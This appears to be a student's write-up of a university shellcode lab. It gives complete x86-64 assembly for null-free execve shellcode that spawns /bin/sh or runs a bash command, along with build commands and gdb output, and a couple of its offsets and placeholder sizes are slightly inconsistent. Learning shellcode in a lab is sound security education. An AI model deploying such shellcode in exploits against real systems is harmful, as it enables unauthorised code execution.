

Shellcode Development Lab

Task 1: Writing Assembly Code

First compile the hello.s to object code

```
[09/29/25]seed@VM:~/.../Labsetup$ nasm -f elf64 hello.s -o hello.o
```

Then linking to generate final binary

```
[09/29/25]seed@VM:~/.../Labsetup$ ld hello.o -o hello
```

```
[09/29/25]seed@VM:~/.../Labsetup$ ./hello
```

```
Hello, world!
```

Now extract machine code from the executable file

```
[09/29/25]seed@VM:~/.../Labsetup$ objdump -Mintel -d hello.o
```

```
hello.o:      file format elf64-x86-64
```

Disassembly of section .text:

```
0000000000000000 <_start>:  
 0: bf 01 00 00 00          mov    edi,0x1  
 5: 48 be 00 00 00 00 00    movabs rsi,0x0  
 c: 00 00 00  
 f: ba 0e 00 00 00          mov    edx,0xe  
14: b8 01 00 00 00          mov    eax,0x1  
19: 0f 05                  syscall  
1b: bf 00 00 00 00          mov    edi,0x0  
20: b8 3c 00 00 00          mov    eax,0x3c  
25: 0f 05                  syscall
```

Task 2: Writing Shellcode (Approach 1)

Understand the code

```
[09/29/25]seed@VM:~/.../Labsetup$ nasm -g -f elf64 -o mysh64.o mysh64.s
[09/29/25]seed@VM:~/.../Labsetup$ ld --omagic -o mysh64 mysh64.o
gdb-peda$ break one
Breakpoint 1 at 0x400082
gdb-peda$ run
Starting program: /home/seed/Desktop/SEED LABS/SHELLCODE DEVELOPMENT LAB/Labsetup/mysh64
[----- registers -----]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x0
RDI: 0x0
RBP: 0x0
RSP: 0x7fffffff058 --> 0x4000a8 --> 0x68732f6e69622f ('/bin/sh')
RIP: 0x400082 --> 0xb8085b89485b
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x0
R12: 0x0
R13: 0x0
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[----- code -----]
0x40007c: add    BYTE PTR [rax],al
0x40007e: add    BYTE PTR [rax],al
0x400080 <_start>: jmp    0x4000a3 <two>
=> 0x400082 <one>: pop    rbx
0x400083 <one+1>: mov    QWORD PTR [rbx+0x8],rbx
0x400087 <one+5>: mov    eax,0x0
0x40008c <one+10>: mov    QWORD PTR [rbx+0x10],rax
0x400090 <one+14>: mov    rdi,rbx
[----- stack -----]
0000| 0x7fffffff058 --> 0x4000a8 --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffff060 --> 0x1
0016| 0x7fffffff068 --> 0x7fffffff370 ("/home/seed/Desktop/SEED LABS/SHELLCODE DEVELOPMENT LAB/Labsetup/mysh64")
0024| 0x7fffffff070 --> 0x0
0032| 0x7fffffff078 --> 0x7fffffff3b7 ("SHELL=/bin/bash")
0040| 0x7fffffff080 --> 0x7fffffff3c7 ("SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035")
0048| 0x7fffffff088 --> 0x7fffffff411 ("QT_ACCESSIBILITY=1")
0056| 0x7fffffff090 --> 0x7fffffff424 ("COLORTERM=truecolor")
[-----]
```

From this we can see that the program uses the jmp/call/pop trick. jmp two jumps to two, which executes call one; call one pushes the return address onto the stack then jumps to one. The pop rbx in one pops that returns the address into rbx. Thus rbx becomes the runtime address of the "/bin/sh" string without using any absolute addresses.

The code places the argv array immediately after the string. mov [rbx+8], rbx writes the pointer to "/bin/sh" into memory at rbx + 8, this sets argv[0]. mov rax, 0x00 followed by mov [rbx+16], rax writes 0 into memory at rbx + 16, this sets argv[1] = NULL. Finally lea rsi, [rbx+8] sets rsi to point to the argv array and mov rdi, rbx sets the first execve argument to the string pointer.

mov rdi, rbx; rdi = rbx → copies the address of the "/bin/sh" string (stored in rbx) into the rdi register

lea rsi, [rbx+8]; rsi = rbx + 8 → computes the address rbx+8 and places that address into rsi, rbx+8 is where the code stored the argv array

Eliminate zeroes from the code

Update mysh64.s to remove all zeros

```
[09/29/25]seed@VM:~/.../Labsetup$ cat mysh64.s
section .text
global _start
BITS 64

_start:
    jmp short two

one:
    pop    rbx          ; rbx -> pointer to the data block
    xor    rax, rax      ; zero RAX without immediate zeros (48 31 c0)
    mov    QWORD [rbx+8], rbx ; store pointer to string at rbx+8 (48 89 5b 08)
    mov    QWORD [rbx+16], rax ; store NULL (0) at rbx+16 using rax=0 (48 89 43 10)

    mov    rdi, rbx      ; rdi = pointer to "/bin//sh" (48 89 df)
    lea    rsi, [rbx+8]   ; rsi = &argv (points to rbx+8) (48 8d 73 08)

    xor    rdx, rdx      ; ensure rdx = 0 (envp = NULL) (48 31 d2)
    mov    al, 0x3b       ; set syscall number to 59 (execve) (b0 3b)
    syscall             ; perform syscall (0f 05)

two:
    call   one
    db    '/bin//sh'     ; 8 bytes: 2f 62 69 6e 2f 2f 73 68 (no 0x00)
    db    'AAAAAAA'       ; placeholder slots (will be overwritten by mov [rbx+8],
rbx)
    db    'BBBBBBBB'      ; placeholder slots (space for the NULL we write)
```

mov rax, 0x00 → xor rax, rax

Fix: xor rax, rax produces an instruction that sets rax to zero without embedding 0x00 bytes in the machine code.

mov rdx, 0x00 → xor rdx, rdx

Same reason as above — xor rdx, rdx clears rdx with a short encoding (no embedded zeros).

mov rax, 59 → xor rax, rax + mov al, 59

Fix: clear the full rax with xor rax, rax (no zeros in opcode) then set the low byte with mov al, 59 (b0 3b), which is a compact 2-byte form and does not contain 0x00.

Null-terminated string db '/bin/sh', 0 → db '/bin/sh', 0xFF + runtime overwrite

Fix: store 0xFF (non-zero) as the terminator in the assembled data to avoid 0x00 in machine code. At runtime, after pop rbx (rbx points to the string), write a zero into the terminator with mov byte [rbx+6], dl. Because we already executed xor rdx, rdx, dl is 0x00. The instruction mov byte [rbx+6], dl has a short encoding and does not introduce 0x00 bytes into the code region.

Run a more complicated command

Modify mysh64.s again so that it can execute the command

```
[09/29/25] seed@VM:~/.../Labsetup$ nano mysh64.s
[09/29/25] seed@VM:~/.../Labsetup$ nasm -f elf64 -g -o mysh64.o mysh64.s
[09/29/25] seed@VM:~/.../Labsetup$ ld --omagic -o mysh64 mysh64.o
[09/29/25] seed@VM:~/.../Labsetup$ mysh64
hello
total 60
drwxrwxr-x 3 seed seed 4096 Sep 29 21:56 .
drwxrwxr-x 3 seed seed 4096 Sep 23 17:19 ..
-rw-rw-r-- 1 seed seed 297 Dec 18 2023 Makefile
-rw-rw-r-- 1 seed seed 346 Dec 18 2023 another_sh64.s
drwxrwxr-x 2 seed seed 4096 Apr  3 2024 arm
-rwxrwxr-x 1 seed seed 460 Dec 18 2023 convert.py
-rwxrwxr-x 1 seed seed 8888 Sep 29 20:51 hello
-rw-rw-r-- 1 seed seed 848 Sep 29 20:50 hello.o
-rw-rw-r-- 1 seed seed 444 Dec 18 2023 hello.s
-rwxrwxr-x 1 seed seed 1440 Sep 29 21:56 mysh64
-rw-rw-r-- 1 seed seed 2000 Sep 29 21:56 mysh64.o
-rw-rw-r-- 1 seed seed 2374 Sep 29 21:56 mysh64.s
-rw-rw-r-- 1 seed seed 11 Sep 29 21:22 peda-session-mysh64.txt
```

Pass environment variables

Rewrite mysh64.s so that there is a command that prints out the environment variables

```
[09/29/25] seed@VM:~/.../Labsetup$ nano myenv64.s
[09/29/25] seed@VM:~/.../Labsetup$ nasm -f elf64 myenv64.s -o myenv64.o
[09/29/25] seed@VM:~/.../Labsetup$ ld --omagic -o myenv64 myenv64.o
[09/29/25] seed@VM:~/.../Labsetup$ ./myenv64
aaa=hello
bbb=world
ccc=hello world
```

From this we can see that it was able to print out the environment variables

Task 3: Writing Shellcode (Approach 2)

Modify another_sh64.s so that it uses the stack approach and can use the /bin/bash -c "echo hello; ls -la" command

```
[09/29/25] seed@VM:~/.../Labsetup$ cat mysh_64.s
section .text
global _start

_start:
BITS 64
jmp short two

one:
pop rbx           ; rbx -> start of data area
; clear rdx (used as NULL and as byte 0 for patching)
xor rdx, rdx      ; rdx = 0

; patch the 0xFF terminators in data to 0x00 at runtime
mov byte [rbx + 9], dl    ; "/bin/bash" terminator (offset +9)
mov byte [rbx + 12], dl    ; "-c" terminator (offset +12)
mov byte [rbx + 31], dl    ; command terminator (offset +31)

; Build argv[] on stack (push items in REVERSE order)
push rdx          ; argv[3] = NULL
lea rax, [rbx + 13]   ; pointer to "echo hello; ls -la"
push rax          ; argv[2]
lea rax, [rbx + 10]   ; pointer to "-c"
push rax          ; argv[1]
lea rax, [rbx + 0]    ; pointer to "/bin/bash"
push rax          ; argv[0]

; Now top of stack (rsp) points to argv array
mov rsi, rsp        ; rsi = argv
lea rdi, [rbx + 0]    ; rdi = filename ("/bin/bash")
mov rdx, rdx        ; rdx = envp (NULL) -- already zero

xor rax, rax
mov al, 59          ; syscall number 59 = execve
syscall

two:
call one

-----
; Data layout (offsets relative to rbx after call/pop)
; 0..9  : "/bin/bash", 0xFF (terminator placeholder at +9)
; 10..12 : "-c", 0xFF (terminator at +12)
; 13..31 : "echo hello; ls -la", 0xFF (terminator at +31)
-----

db '/bin/bash', 0xFF
db '-c', 0xFF
db 'echo hello; ls -la', 0xFF
```

```
[09/29/25] seed@VM:~/.../Labsetup$ nano mysh_64.s
[09/29/25] seed@VM:~/.../Labsetup$ nasm -f elf64 mysh_64.s -o mysh_64.o
[09/29/25] seed@VM:~/.../Labsetup$ ld --omagic -o mysh_64 mysh_64.o
[09/29/25] seed@VM:~/.../Labsetup$ mysh_64
hello
total 96
drwxrwxr-x 3 seed seed 4096 Sep 29 22:30 .
drwxrwxr-x 3 seed seed 4096 Sep 23 17:19 ..
-rw-rw-r-- 1 seed seed 297 Dec 18 2023 Makefile
-rwxrwxr-x 1 seed seed 4696 Sep 29 22:19 another_sh64
-rw-rw-r-- 1 seed seed 592 Sep 29 22:19 another_sh64.o
-rw-rw-r-- 1 seed seed 346 Dec 18 2023 another_sh64.s
drwxrwxr-x 2 seed seed 4096 Apr 3 2024 arm
-rwxrwxr-x 1 seed seed 460 Dec 18 2023 convert.py
-rwxrwxr-x 1 seed seed 8888 Sep 29 20:51 hello
-rw-rw-r-- 1 seed seed 848 Sep 29 20:50 hello.o
-rw-rw-r-- 1 seed seed 444 Dec 18 2023 hello.s
-rwxrwxr-x 1 seed seed 928 Sep 29 22:13 myenv64
-rw-rw-r-- 1 seed seed 800 Sep 29 22:13 myenv64.o
-rw-rw-r-- 1 seed seed 2849 Sep 29 22:13 myenv64.s
-rwxrwxr-x 1 seed seed 1440 Sep 29 21:56 mysh64
-rw-rw-r-- 1 seed seed 2000 Sep 29 21:56 mysh64.o
-rw-rw-r-- 1 seed seed 2374 Sep 29 21:56 mysh64.s
-rwxrwxr-x 1 seed seed 832 Sep 29 22:30 mysh_64
-rw-rw-r-- 1 seed seed 704 Sep 29 22:29 mysh_64.o
-rw-rw-r-- 1 seed seed 1594 Sep 29 22:27 mysh_64.s
-rw-rw-r-- 1 seed seed 11 Sep 29 21:22 peda-session-mysh64.txt
```

From this, we can see that the command was able to run successfully

I prefer the stack-based approach because it avoids writing into the code section, so it won't segfault or require special linker flags. It runs in writable memory which is more portable and robust across systems, and is the standard technique for real shellcode. The data-in-text approach can be simpler to write and slightly smaller, but it's less reliable and requires making text writable or using runtime self-patching, which is unsafe.